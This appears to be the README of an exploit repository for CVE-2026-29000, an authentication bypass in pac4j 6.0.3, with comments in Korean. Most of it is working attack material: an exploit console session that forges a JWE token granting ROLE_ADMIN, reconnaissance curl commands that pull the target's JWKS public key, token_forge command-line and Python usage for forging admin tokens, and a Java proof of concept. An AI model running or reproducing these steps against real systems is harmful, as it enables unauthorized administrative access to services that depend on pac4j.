git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

docker compose up -d lab

curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

docker compose down

python scripts/exploit.py

# 또는 커맨드 라인에서 사전 설정:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

# 1. JWKS URL — 자동 fetch (권장)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. 다운로드한 파일
set PUBKEY /tmp/key.json

# 3. raw JSON 직접 붙여넣기
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

# 응답 헤더로 프레임워크 탐지
curl -sI http://TARGET:8080

# 숨겨진 엔드포인트 찾기
curl -s http://TARGET:8080/robots.txt

# RFC 8414: pac4j는 항상 이 엔드포인트를 노출
curl -s http://TARGET:8080/.well-known/openid-configuration

# jwks_uri에서 RSA 공개 키 가져오기
curl -s http://TARGET:8080/.well-known/jwks.json

python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# 우회 확인
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# 브라우저에서 관리자 대시보드 열기
echo "http://TARGET:8080/admin?token=$TOKEN"

from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# 토큰만 출력
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

pytest tests/ -v

# 커버리지 리포트 포함
pytest tests/ -v --cov=token_forge --cov-report=term-missing

JWE decrypt → payload 획득 → base64decode → json.loads → claims 신뢰
                                         ↑ 내부 JWT 서명 검증 단계 누락